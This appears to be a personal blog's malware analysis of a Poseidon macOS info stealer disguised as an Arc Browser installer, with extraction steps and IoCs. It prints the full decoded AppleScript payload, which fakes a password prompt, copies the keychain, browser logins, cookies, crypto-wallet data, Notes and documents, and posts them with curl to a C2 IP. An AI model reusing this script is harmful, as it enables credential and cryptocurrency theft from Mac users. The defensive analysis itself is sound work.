Cover photo

Sailing the High Seas with the Poseidon Info Stealer

Continuing to practice macOS analysis on a new(er) stealer.

I've been exploring the world of macOS malware analysis, and as a newbie I wanted some more samples to practice on. This prompted me to head over to Malware Bazaar and grab a Poseidon Info Stealer sample to take a look at, as some previous articles I had been going over had mentioned that in the past Poseidon has been misattributed as Atomic Stealer, so I wanted to make sure I knew what each of them looked like.


Initial Look

After downloading the sample I went ahead and extracted it using 7zip and the default password ("infected"). From there I mounted the .dmg file.

7z x c1693ee747e31541919f84dfa89e36ca5b74074044b181656d95d7f40af34a05.zip

hdiutil attach c1693ee747e31541919f84dfa89e36ca5b74074044b181656d95d7f40af34a05.dmg

Navigating to the freshly mounted volume the "file" command can be used to take a look at what's inside.

file Arc12645413

Arc12645413: Mach-O universal binary with 2 architectures: [x86_64:Mach-O 64-bit executable x86_64] [arm64:Mach-O 64-bit executable arm64]
Arc12645413 (for architecture x86_64):  Mach-O 64-bit executable x86_64
Arc12645413 (for architecture arm64):   Mach-O 64-bit executable arm64

As you can see this binary is Mach-O and contains 2 architectures, meaning it will run on Intel or M-series Macs. Physically navigating to the mount point in Finder shows that the name of the binary and icon are most likely meant to trick a user into thinking they're attempting to install the Arc Browser.

Time to take a look at the strings and see if there are any easy wins.

strings - Arc12645413 > ../../Users/<username>/Downloads/out
put.txt

[SNIP]
þÿÿhV
þÿÿhe
é~þÿÿ
6f7361736372697074202d6520277365742072656c6561736520746f20747275650a7365742066696c65677261626265727320746f20747275650a69662072656c65617365207468656e0a097472790a09092d2d74656c6c2077696e646f772031206f66206170706c69636174696f6e20225465726d696e616c2220746f207365742076697369626c6520746f2066616c73650a09656e64207472790a656e642069660a6f6e2066696c6573697a6572287061746873290a097365742066737a20746f20300a097472790a0909736574207468654974656d20746f2071756f74656420666f726d206f6620504f5349582070617468206f662070617468730a09097365742066737a20746f2028646f207368656c6c2073637269707420222f7573722f62696e2f6d646c73202d6e616d65206b4d444974656d465353697a65202d72617720222026207468654974656d290a09656e64207472790a0972657475726e2066737a0a656e642066696c6573697a65720a6f6e206d6b64697228736f6d654974656d290a097472790a09097365742066696c65506f7369785061746820746f2071756f74656420666f726d206f662028504f5349582070617468206f6620736f6d654974656d290a0909646f207368656c6c2073637269707420226d6b646972202d70202220262066696c65506f736978506174680a09656e6420
disown
pkill Terminal
allocator<T>::allocate(size_t n) 'n' exceeds maximum supported size
NSt3__118basic_stringstreamIcNS_11char_traitsIcEENS_9allocatorIcEEEE
NSt3__115basic_stringbufIcNS_11char_traitsIcEENS_9allocatorIcEEEE
ðÿÿÿÿÿÿÿð
ÿÿÿÿÿÿÿ
[SNIP]

Luckily for me, there's a giant blob of hex in the strings. Fingers crossed it isn't encrypted! I normally use CyberChef if I run into any blobs like this where I'm not sure if I'll need to do multiple operations on them (such as hex -> base64 -> string). In this instance though, it's just hex. The decoded string is the AppleScript that can be seen below.

osascript -e 'set release to true
set filegrabbers to true
if release then
	try
		--tell window 1 of application "Terminal" to set visible to false
	end try
end if
on filesizer(paths)
	set fsz to 0
	try
		set theItem to quoted form of POSIX path of paths
		set fsz to (do shell script "/usr/bin/mdls -name kMDItemFSSize -raw " & theItem)
	end try
	return fsz
end filesizer
on mkdir(someItem)
	try
		set filePosixPath to quoted form of (POSIX path of someItem)
		do shell script "mkdir -p " & filePosixPath
	end 

Digging Deeper

Let's focus on one of the binaries. It looks I may be missing something, so I want to take a closer look. This can be done by extracting them both from the universal binary, then running another extraction on one of the binaries (dealer's choice, I chose the arm64 one).

7z x Arc12645413.malware

7z x Arc12645413.arm64

This will produce a few files. Take a stroll through them to familiarize yourself then look inside of the "__TEXT__cstring" file.

It will contain the a large hex-encoded string which can be decoded in CyberChef. The output is shown below.

osascript -e 'set release to true
set filegrabbers to true
if release then
	try
		--tell window 1 of application "Terminal" to set visible to false
	end try
end if
on filesizer(paths)
	set fsz to 0
	try
		set theItem to quoted form of POSIX path of paths
		set fsz to (do shell script "/usr/bin/mdls -name kMDItemFSSize -raw " & theItem)
	end try
	return fsz
end filesizer
on mkdir(someItem)
	try
		set filePosixPath to quoted form of (POSIX path of someItem)
		do shell script "mkdir -p " & filePosixPath
	end try
end mkdir
on FileName(filePath)
	try
		set reversedPath to (reverse of every character of filePath) as string
		set trimmedPath to text 1 thru ((offset of "/" in reversedPath) - 1) of reversedPath
		set finalPath to (reverse of every character of trimmedPath) as string
		return finalPath
	end try
end FileName
on BeforeFileName(filePath)
	try
		set lastSlash to offset of "/" in (reverse of every character of filePath) as string
		set trimmedPath to text 1 thru -(lastSlash + 1) of filePath
		return trimmedPath
	end try
end BeforeFileName
on writeText(textToWrite, filePath)
	try
		set folderPath to BeforeFileName(filePath)
		mkdir(folderPath)
		set fileRef to (open for access filePath with write permission)
		write textToWrite to fileRef starting at eof
		close access fileRef
	end try
end writeText
on readwrite(path_to_file, path_as_save)
	try
		set fileContent to read path_to_file
		set folderPath to BeforeFileName(path_as_save)
		mkdir(folderPath)
		do shell script "cat " & quoted form of path_to_file & " > " & quoted form of path_as_save
	end try
end readwrite
on isDirectory(someItem)
	try
		set filePosixPath to quoted form of (POSIX path of someItem)
		set fileType to (do shell script "file -b " & filePosixPath)
		if fileType ends with "directory" then
			return true
		end if
		return false
	end try
end isDirectory
on GrabFolderLimit(sourceFolder, destinationFolder)
	try
		set bankSize to 0
		set exceptionsList to {".DS_Store", "Partitions", "Code Cache", "Cache", "market-history-cache.json", "journals", "Previews"}
		set fileList to list folder sourceFolder without invisibles
		mkdir(destinationFolder)
		repeat with currentItem in fileList
			if currentItem is not in exceptionsList then
				set itemPath to sourceFolder & "/" & currentItem
				set savePath to destinationFolder & "/" & currentItem
				if isDirectory(itemPath) then
					GrabFolderLimit(itemPath, savePath)
				else
					set fsz to filesizer(itemPath)
					set bankSize to bankSize + fsz
					if bankSize < 10 * 1024 * 1024 then
						readwrite(itemPath, savePath)
					end if
				end if
			end if
		end repeat
	end try
end GrabFolderLimit
on GrabFolder(sourceFolder, destinationFolder)
	try
		set exceptionsList to {".DS_Store", "Partitions", "Code Cache", "Cache", "market-history-cache.json", "journals", "Previews"}
		set fileList to list folder sourceFolder without invisibles
		mkdir(destinationFolder)
		repeat with currentItem in fileList
			if currentItem is not in exceptionsList then
				set itemPath to sourceFolder & "/" & currentItem
				set savePath to destinationFolder & "/" & currentItem
				if isDirectory(itemPath) then
					GrabFolder(itemPath, savePath)
				else
					readwrite(itemPath, savePath)
				end if
			end if
		end repeat
	end try
end GrabFolder
on GetUUID(pather, searchString)
	try
		set theFile to POSIX file pather
		set fileContents to read theFile
		set startPos to offset of searchString in fileContents
		if startPos is 0 then
			return "not found"
		end if
		set uuidStart to startPos + (length of searchString)
		set uuid to text uuidStart thru (uuidStart + 55) of fileContents
		set endpos to offset of "\\" in uuid
		if endpos is 0 then
			return "not found"
		end if
		set realuuid to text uuidStart thru (uuidStart + endpos - 2) of fileContents
		return realuuid
	on error
		return "not found"
	end try
end GetUUID
on firewallets(firepath, writemind, profile)
	try
		set fire_wallets to {{"MetaMask", "webextension@metamask.io\\\":\\\""}}
		repeat with wallet in fire_wallets
			set uuid to GetUUID(firepath & "/prefs.js", item 2 of wallet)
			if uuid is not "not found" then
				set walkpath to firepath & "/storage/default/"
				set fileList to list folder walkpath without invisibles
				repeat with currentItem in fileList
					if currentItem contains uuid then
						set fwallet to walkpath & currentItem & "/idb/"
						set fileList_wallet to list folder fwallet without invisibles
						repeat with currentItem_wallet in fileList_wallet
							if isDirectory(fwallet & currentItem_wallet) then
								GrabFolder(fwallet & currentItem_wallet, writemind & "ffwallets/" & item 1 of wallet & "_" & profile & "/")
							end if
						end repeat
					end if
				end repeat
			end if
		end repeat
	end try
end firewallets
on parseFF(firefox, writemind)
	try
		set myFiles to {"/cookies.sqlite", "/formhistory.sqlite", "/key4.db", "/logins.json"}
		set fileList to list folder firefox without invisibles
		repeat with currentItem in fileList
			firewallets(firefox & currentItem, writemind, currentItem)
			set fpath to writemind & "ff/" & currentItem
			set readpath to firefox & currentItem
			repeat with FFile in myFiles
				readwrite(readpath & FFile, fpath & FFile)
			end repeat
		end repeat
	end try
end parseFF
on checkvalid(username, password_entered)
	try
		set result to do shell script "dscl . authonly " & quoted form of username & space & quoted form of password_entered
		if result is not equal to "" then
			return false
		else
			return true
		end if
	on error
		return false
	end try
end checkvalid
on getpwd(username, writemind)
	try
		if checkvalid(username, "") then
			set result to do shell script "security 2>&1 > /dev/null find-generic-password -ga \"Chrome\" | awk \"{print $2}\""
			writeText(result as string, writemind & "masterpass-chrome")
		else
			repeat
				set result to display dialog "Required Application Helper. Please enter password for continue." default answer "" with icon caution buttons {"Continue"} default button "Continue" giving up after 150 with title "Application wants to install helper" with hidden answer
				set password_entered to text returned of result
				if checkvalid(username, password_entered) then
					writeText(password_entered, writemind & "pwd")
					return password_entered
				end if
			end repeat
		end if
	end try
	return ""
end getpwd
on grabPlugins(paths, savePath, pluginList, index)
	try
		set fileList to list folder paths without invisibles
		repeat with PFile in fileList
			repeat with Plugin in pluginList
				if (PFile contains Plugin) then
					set newpath to paths & PFile
					set newsavepath to savePath & "/" & Plugin
					if index then
						set newsavepath to newsavepath & "/IndexedDB/"
					end if
					GrabFolder(newpath, newsavepath)
				end if
			end repeat
		end repeat
	end try
end grabPlugins
on chromium(writemind, chromium_map)
	set pluginList to {"keenhcnmdmjjhincpilijphpiohdppno", "hbbgbephgojikajhfbomhlmmollphcad", "cjmkndjhnagcfbpiemnkdpomccnjblmj", "dhgnlgphgchebgoemcjekedjjbifijid", "hifafgmccdpekplomjjkcfgodnhcellj", "kamfleanhcmjelnhaeljonilnmjpkcjc", "jnldfbidonfeldmalbflbmlebbipcnle", "fdcnegogpncmfejlfnffnofpngdiejii", "klnaejjgbibmhlephnhpmaofohgkpgkd", "pdadjkfkgcafgbceimcpbkalnfnepbnk", "kjjebdkfeagdoogagbhepmbimaphnfln", "ldinpeekobnhjjdofggfgjlcehhmanlj", "dkdedlpgdmmkkfjabffeganieamfklkm", "bcopgchhojmggmffilplmbdicgaihlkp", "kpfchfdkjhcoekhdldggegebfakaaiog", "idnnbdplmphpflfnlkomgpfbpcgelopg", "mlhakagmgkmonhdonhkpjeebfphligng", "bipdhagncpgaccgdbddmbpcabgjikfkn", "gcbjmdjijjpffkpbgdkaojpmaninaion", "nhnkbkgjikgcigadomkphalanndcapjk", "bhhhlbepdkbapadjdnnojkbgioiodbic", "hoighigmnhgkkdaenafgnefkcmipfjon", "klghhnkeealcohjjanjjdaeeggmfmlpl", "nkbihfbeogaeaoehlefnkodbefgpgknn", "fhbohimaelbohpjbbldcngcnapndodjp", "ebfidpplhabeedpnhjnobghokpiioolj", "emeeapjkbcbpbpgaagfchmcgglmebnen", "fldfpgipfncgndfolcbkdeeknbbbnhcc", "penjlddjkjgpnkllboccdgccekpkcbin", "fhilaheimglignddkjgofkcbgekhenbh", "hmeobnfnfcmdkdcmlblgagmfpfboieaf", "cihmoadaighcejopammfbmddcmdekcje", "lodccjjbdhfakaekdiahmedfbieldgik", "omaabbefbmiijedngplfjmnooppbclkk", "cjelfplplebdjjenllpjcblmjkfcffne", "jnlgamecbpmbajjfhmmmlhejkemejdma", "fpkhgmpbidmiogeglndfbkegfdlnajnf", "bifidjkcdpgfnlbcjpdkdcnbiooooblg", "amkmjjmmflddogmhpjloimipbofnfjih", "flpiciilemghbmfalicajoolhkkenfel", "hcflpincpppdclinealmandijcmnkbgn", "aeachknmefphepccionboohckonoeemg", "nlobpakggmbcgdbpjpnagmdbdhdhgphk", "momakdpclmaphlamgjcndbgfckjfpemp", "mnfifefkajgofkcjkemidiaecocnkjeh", "fnnegphlobjdpkhecapkijjdkgcjhkib", "ehjiblpccbknkgimiflboggcffmpphhp", "ilhaljfiglknggcoegeknjghdgampffk", "pgiaagfkgcbnmiiolekcfmljdagdhlcm", "fnjhmkhhmkbjkkabndcnnogagogbneec", "bfnaelmomeimhlpmgjnjophhpkkoljpa", "imlcamfeniaidioeflifonfjeeppblda", "mdjmfdffdcmnoblignmgpommbefadffd", "ooiepdgjjnhcmlaobfinbomgebfgablh", "pcndjhkinnkaohffealmlmhaepkpmgkb", "ppdadbejkmjnefldpcdjhnkpbjkikoip", "cgeeodpfagjceefieflmdfphplkenlfk", "dlcobpjiigpikoobohmabehhmhfoodbb", "jiidiaalihmmhddjgbnbgdfflelocpak", "bocpokimicclpaiekenaeelehdjllofo", "pocmplpaccanhmnllbbkpgfliimjljgo", "cphhlgmgameodnhkjdmkpanlelnlohao", "mcohilncbfahbmgdjkbpemcciiolgcge", "bopcbmipnjdcdfflfgjdgdjejmgpoaab", "khpkpbbcccdmmclmpigdgddabeilkdpd", "ejjladinnckdgjemekebdpeokbikhfci", "phkbamefinggmakgklpkljjmgibohnba", "epapihdplajcdnnkdeiahlgigofloibg", "hpclkefagolihohboafpheddmmgdffjm", "cjookpbkjnpkmknedggeecikaponcalb", "cpmkedoipcpimgecpmgpldfpohjplkpp", "modjfdjcodmehnpccdjngmdfajggaoeh", "ibnejdfjmmkpcnlpebklmnkoeoihofec", "afbcbjpbpfadlkmhmclhkeeodmamcflc", "kncchdigobghenbbaddojjnnaogfppfj", "efbglgofoippbgcjepnhiblaibcnclgk", "mcbigmjiafegjnnogedioegffbooigli", "fccgmnglbhajioalokbcidhcaikhlcpm", "hnhobjmcibchnmglfbldbfabcgaknlkj", "apnehcjmnengpnmccpaibjmhhoadaico", "enabgbdfcbaehmbigakijjabdpdnimlg", "mgffkfbidihjpoaomajlbgchddlicgpn", "fopmedgnkfpebgllppeddmmochcookhc", "jojhfeoedkpkglbfimdfabpdfjaoolaf", "ammjlinfekkoockogfhdkgcohjlbhmff", "abkahkcbhngaebpcgfmhkoioedceoigp", "dcbjpgbkjoomeenajdabiicabjljlnfp", "gkeelndblnomfmjnophbhfhcjbcnemka", "pnndplcbkakcplkjnolgbkdgjikjednm", "copjnifcecdedocejpaapepagaodgpbh", "hgbeiipamcgbdjhfflifkgehomnmglgk", "mkchoaaiifodcflmbaphdgeidocajadp", "ellkdbaphhldpeajbepobaecooaoafpg", "mdnaglckomeedfbogeajfajofmfgpoae", "nknhiehlklippafakaeklbeglecifhad", "ckklhkaabbmdjkahiaaplikpdddkenic", "fmblappgoiilbgafhjklehhfifbdocee", "nphplpgoakhhjchkkhmiggakijnkhfnd", "cnmamaachppnkjgnildpdmkaakejnhae", "fijngjgcjhjmmpcmkeiomlglpeiijkld", "niiaamnmgebpeejeemoifgdndgeaekhe", "odpnjmimokcmjgojhnhfcnalnegdjmdn", "lbjapbcmmceacocpimbpbidpgmlmoaao", "hnfanknocfeofbddgcijnmhnfnkdnaad", "hpglfhgfnhbgpjdenjgmdgoeiappafln", "egjidjbpglichdcondbcbdnbeeppgdph", "ibljocddagjghmlpgihahamcghfggcjc", "gkodhkbmiflnmkipcmlhhgadebbeijhh", "dbgnhckhnppddckangcjbkjnlddbjkna", "mfhbebgoclkghebffdldpobeajmbecfk", "nlbmnnijcnlegkjjpcfjclmcfggfefdm", "nlgbhdfgdhgbiamfdfmbikcdghidoadd", "acmacodkjbdgmoleebolmdjonilkdbch", "agoakfejjabomempkjlepdflaleeobhb", "dgiehkgfknklegdhekgeabnhgfjhbajd", "onhogfjeacnfoofkfgppdlbmlmnplgbn", "kkpehldckknjffeakihjajcjccmcjflh", "jaooiolkmfcmloonphpiiogkfckgciom", "ojggmchlghnjlapmfbnjholfjkiidbch", "pmmnimefaichbcnbndcfpaagbepnjaig", "oiohdnannmknmdlddkdejbmplhbdcbee", "aiifbnbfobpmeekipheeijimdpnlpgpp", "aholpfdialjgjfhomihkjbmgjidlcdno", "anokgmphncpekkhclmingpimjmcooifb", "kkpllkodjeloidieedojogacfhpaihoh", "iokeahhehimjnekafflcihljlcjccdbe", "ifckdpamphokdglkkdomedpdegcjhjdp", "loinekcabhlmhjjbocijdoimmejangoa", "fcfcfllfndlomdhbehjjcoimbgofdncg", "ifclboecfhkjbpmhgehodcjpciihhmif", "dmkamcknogkgcdfhhbddcghachkejeap", "ookjlbkiijinhpmnjffcofjonbfbgaoc", "oafedfoadhdjjcipmcbecikgokpaphjk", "mapbhaebnddapnmifbbkgeedkeplgjmf", "cmndjbecilbocjfkibfbifhngkdmjgog", "kpfopkelmapcoipemfendmdcghnegimn", "lgmpcpglpngdoalbgeoldeajfclnhafa", "ppbibelpcjmhbdihakflkdcoccbgbkpo", "ffnbelfdoeiohenkjibnmadjiehjhajb", "opcgpfmipidbgpenhmajoajpbobppdil", "lakggbcodlaclcbbbepmkpdhbcomcgkd", "kgdijkcfiglijhaglibaidbipiejjfdp", "hdkobeeifhdplocklknbnejdelgagbao", "lnnnmfcpbkafcpgdilckhmhbkkbpkmid", "nbdhibgjnjpnkajaghbffjbkcgljfgdi", "kmhcihpebfmpgmihbkipmjlmmioameka", "kmphdnilpmdejikjdnlbcnmnabepfgkh", "nngceckbapebfimnlniiiahkandclblb"}
	set custom_plugin_list to {""}
	set chromiumFiles to {"/Network/Cookies", "/Cookies", "/Web Data", "/Login Data", "/Local Extension Settings/", "/IndexedDB/"}
	repeat with chromium in chromium_map
		set savePath to writemind & "Chromium/" & item 1 of chromium & "_"
		try
			set fileList to list folder item 2 of chromium without invisibles
			repeat with currentItem in fileList
				if ((currentItem as string) is equal to "Default") or ((currentItem as string) contains "Profile") then
					repeat with CFile in chromiumFiles
						set readpath to (item 2 of chromium & currentItem & CFile)
						if ((CFile as string) is equal to "/Network/Cookies") then
							set CFile to "/Cookies"
						end if
						if ((CFile as string) is equal to "/Local Extension Settings/") then
							grabPlugins(readpath, savePath & currentItem, pluginList, false)
							grabPlugins(readpath, writemind & "deskwallets/", custom_plugin_list, false)
						else if (CFile as string) is equal to "/IndexedDB/" then
							grabPlugins(readpath, savePath & currentItem, pluginList, true)
						else
							set writepath to savePath & currentItem & CFile
							readwrite(readpath, writepath)
						end if
					end repeat
				end if
			end repeat
		end try
	end repeat
end chromium
on deskwallets(writemind, deskwals)
	repeat with deskwal in deskwals
		try
			GrabFolder(item 2 of deskwal, writemind & item 1 of deskwal)
		end try
	end repeat
end deskwallets
on filegrabber()
	try
		set destinationFolderPath to POSIX file "/tmp/xuyna/FileGrabber/"
		set photosPath to POSIX file "/tmp/photos"
		mkdir(photosPath)
		mkdir(destinationFolderPath)
		set extensionsList to {"txt", "rtf", "key", "keys", "png", "jpg", "jpeg", "wallet", "doc", "docx", "kdbx", "pdf"}
		set bankSize to 0
		tell application "Finder"
			try
				set safariFolderPath to (path to home folder as text) & "Library:Cookies:"
				duplicate file (safariFolderPath & "Cookies.binarycookies") to folder destinationFolderPath with replacing
				set name of result to "saf1"
			end try
			try
				set safariFolder to ((path to library folder from user domain as text) & "Containers:com.apple.Safari:Data:Library:Cookies:")
				try
					duplicate file "Cookies.binarycookies" of folder safariFolder to folder destinationFolderPath with replacing
				end try
				set notesFolderPath to (path to home folder as text) & "Library:Group Containers:group.com.apple.notes:"
				set notesAccounts to folder (notesFolderPath & "Accounts:")
				try
					--duplicate notesAccounts to photosPath with replacing
				end try
				try
					set notesFolder to folder notesFolderPath
					set notesFiles to {file "NoteStore.sqlite", file "NoteStore.sqlite-shm", file "NoteStore.sqlite-wal"} of notesFolder
					repeat with aFile in notesFiles
						try
							duplicate aFile to folder destinationFolderPath with replacing
						end try
					end repeat
				end try
			end try
			try
				set desktopFiles to every file of desktop
				set documentsFiles to every file of folder "Documents" of (path to home folder)
				set downloadsFiles to every file of folder "Downloads" of (path to home folder)
				repeat with aFile in (desktopFiles & documentsFiles & downloadsFiles)
					set fileExtension to name extension of aFile
					if fileExtension is in extensionsList then
						set filesize to size of aFile
						if (bankSize + filesize) < 10 * 1024 * 1024 then
							try
								duplicate aFile to folder destinationFolderPath with replacing
								set bankSize to bankSize + filesize
							end try
						else
							exit repeat
						end if
					end if
				end repeat
			end try
		end tell
	end try
end filegrabber
on send_data(attempt)
 try
  set result_send to (do shell script "curl -X POST -H \"uuid: 399122bdb9844f7d934631745e22bd06\" -H \"user: H1N1_Group\" -H \"buildid: id777\" --data-binary @/tmp/out.zip http://79.137.192.4/p2p")
 on error
  if attempt < 10 then
   delay 60
   send_data(attempt + 1)
  end if
 end try
end send_data
on VPN(writemind, vpn_dirs)
end VPN
set username to (system attribute "USER")
set profile to "/Users/" & username
set writemind to "/tmp/xuyna/"
try
	set result to (do shell script "system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType")
	writeText(result, writemind & "user")
end try
set library to profile & "/Library/Application Support/"
set password_entered to getpwd(username, writemind)
delay 0.01
set chromiumMap to {{"Chrome", library & "Google/Chrome/"}, {"Brave", library & "BraveSoftware/Brave-Browser/"}, {"Edge", library & "Microsoft Edge/"}, {"Vivaldi", library & "Vivaldi/"}, {"Opera", library & "com.operasoftware.Opera/"}, {"OperaGX", library & "com.operasoftware.OperaGX/"}, {"Chrome Beta", library & "Google/Chrome Beta/"}, {"Chrome Canary", library & "Google/Chrome Canary"}, {"Chromium", library & "Chromium/"}, {"Chrome Dev", library & "Google/Chrome Dev/"}}
set walletMap to {{"deskwallets/Electrum", profile & "/.electrum/wallets/"}, {"deskwallets/Coinomi", library & "Coinomi/wallets/"}, {"deskwallets/Exodus", library & "Exodus/"}, {"deskwallets/Atomic", library & "atomic/Local Storage/leveldb/"}, {"deskwallets/Wasabi", profile & "/.walletwasabi/client/Wallets/"}, {"deskwallets/Ledger_Live", library & "Ledger Live/"}, {"deskwallets/Monero", profile & "/Monero/wallets/"}, {"deskwallets/Bitcoin_Core", library & "Bitcoin/wallets/"}, {"deskwallets/Litecoin_Core", library & "Litecoin/wallets/"}, {"deskwallets/Dash_Core", library & "DashCore/wallets/"}, {"deskwallets/Electrum_LTC", profile & "/.electrum-ltc/wallets/"}, {"deskwallets/Electron_Cash", profile & "/.electron-cash/wallets/"}, {"deskwallets/Guarda", library & "Guarda/"}, {"deskwallets/Dogecoin_Core", library & "Dogecoin/wallets/"}, {"deskwallets/Trezor_Suite", library & "@trezor/suite-desktop/"}}
readwrite(library & "Binance/app-store.json", writemind & "deskwallets/Binance/app-store.json")
readwrite(library & "@tonkeeper/desktop/config.json", "deskwallets/TonKeeper/config.json")
readwrite(profile & "/Library/Keychains/login.keychain-db", writemind & "keychain")
if release then
	readwrite(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite", writemind & "FileGrabber/NoteStore.sqlite")
	readwrite(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal", writemind & "FileGrabber/NoteStore.sqlite-wal")
	readwrite(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-shm", writemind & "FileGrabber/NoteStore.sqlite-shm")
	readwrite(profile & "/Library/Containers/com.apple.Safari/Data/Library/Cookies/Cookies.binarycookies", writemind & "FileGrabber/Cookies.binarycookies")
	readwrite(profile & "/Library/Cookies/Cookies.binarycookies", writemind & "FileGrabber/saf1")
end if
if filegrabbers then
	filegrabber()
end if
writeText(username, writemind & "username")
set ff_paths to {library & "Firefox/Profiles/", library & "Waterfox/Profiles/", library & "Pale Moon/Profiles/"}
repeat with firefox in ff_paths
	try
		parseFF(firefox, writemind)
	end try
end repeat
chromium(writemind, chromiumMap)
deskwallets(writemind, walletMap)
--GrabFolderLimit("/tmp/photos/", writemind & "FileGrabber/NotesPhoto/")
--set vpns to {{"OpenVPN", library & "OpenVPN Connect/profiles/"}}
--readwrite("/Library/Application Support/Fortinet/FortiClient/conf/vpn.plist", writemind & "vpn/FortiVPN/vpn.plist") 
do shell script "ditto -c -k --sequesterRsrc " & writemind & " /tmp/out.zip"
send_data(0)
do shell script "rm -r " & writemind
do shell script "rm -r /tmp/photos"
do shell script "rm /tmp/out.zip"
' &

So there's a lot to unpack here. Let's first focus on the "send_data" function.

on send_data(attempt)
 try
  set result_send to (do shell script "curl -X POST -H \"uuid: 399122bdb9844f7d934631745e22bd06\" -H \"user: H1N1_Group\" -H \"buildid: id777\" --data-binary @/tmp/out.zip http://79.137.192.4/p2p")
 on error
  if attempt < 10 then
   delay 60
   send_data(attempt + 1)
  end if
 end try
end send_data

This function is used to send a zipped archive of the stolen data to the Poseidon C2 server. As you can see, it contains the UUID, user, buildid, and the URL for the C2 server (along with the proper endpoint).

do shell script "ditto -c -k --sequesterRsrc " & writemind & " /tmp/out.zip"
send_data(0)
do shell script "rm -r " & writemind
do shell script "rm -r /tmp/photos"
do shell script "rm /tmp/out.zip"

It's called at the end of the script's execution to exfiltrate all of the data. After which the directories and files that were created by the script are deleted using the "rm" command.

I can see how Atomic and Poseidon can be confused with each other based on their functionality though, as they both have a lot of the same traits. The above script is extremely human-readable and I'd say most people could parse through it to see what it's attempting to do. They both will steal keychain passwords, Apple notes, files, VPN information, crypto wallets (both desktop wallets and extension-based wallets), and then once it's all finished it gathers the data up, sends it off, and erases its tracks. It doesn't seem to have any persistence contained within the script itself, but the binary would need to be run to fully confirm this.


Open Source Info

The URL that was contained within the script seems to be down as I nor URLScan could reach it. Checking it out with Shodan looks to confirm Poseidon (even though there are sadly zero similar results to compare it to when search for the string or favicon hash).

Placing the universal binary in VirusTotal yields some great results.

Tons of detections, 34/65, some solid Sigma rules are hitting on it, but scrolling down it can also be seen that a few security vendors themselves have the binary misclassified. Some of them don't have it identified as anything other than a "stealer".

And last but not least a short note on uploading the .dmg versus the binary itself to sandboxes like VirusTotal. From what I've seen so far, the detections will ALWAYS be lower for the .dmg. This is due to the fact that a .dmg is used to store compressed software installers. This is also apparent from checking the strings. Some sandboxes and security companies handle these fine -- they mount them and auto-execute the binary inside of them. Others don't though, leading to less detections. This can further be exacerbated by the fact that both Poseidon and Atomic utilize the tactic to prompt the users for their passwords via AppleScript, which means if a certain sandbox doesn't have specific capabilities, it is less likely to observe the full execution of the script.


IoCs

.dmg

Name

Arc12645413.dmg

SHA256

c1693ee747e31541919f84dfa89e36ca5b74074044b181656d95d7f40af34a05

MD5

02a0407bea1bea006c35c0aa178a573b

binary

Name

Arc12645413

SHA256

7276c6c6bff30cc9ddd97f4cd3e33102017281ffa7e164819dddc0beb83bafcf

MD5

8b675b55d9b26ffeba29d6219cd8e353

UUID

399122bdb9844f7d934631745e22bd06

User

H1N1_Group

Build ID

id777

Network

URL

http[://]79[.]137.192[.]4/p2p

Exfiltrated File

out.zip

Loading...
highlight
Collect this post to permanently own it.
alp1n3.eth logo
Subscribe to alp1n3.eth and never miss a post.
#malware#poseidon#analysis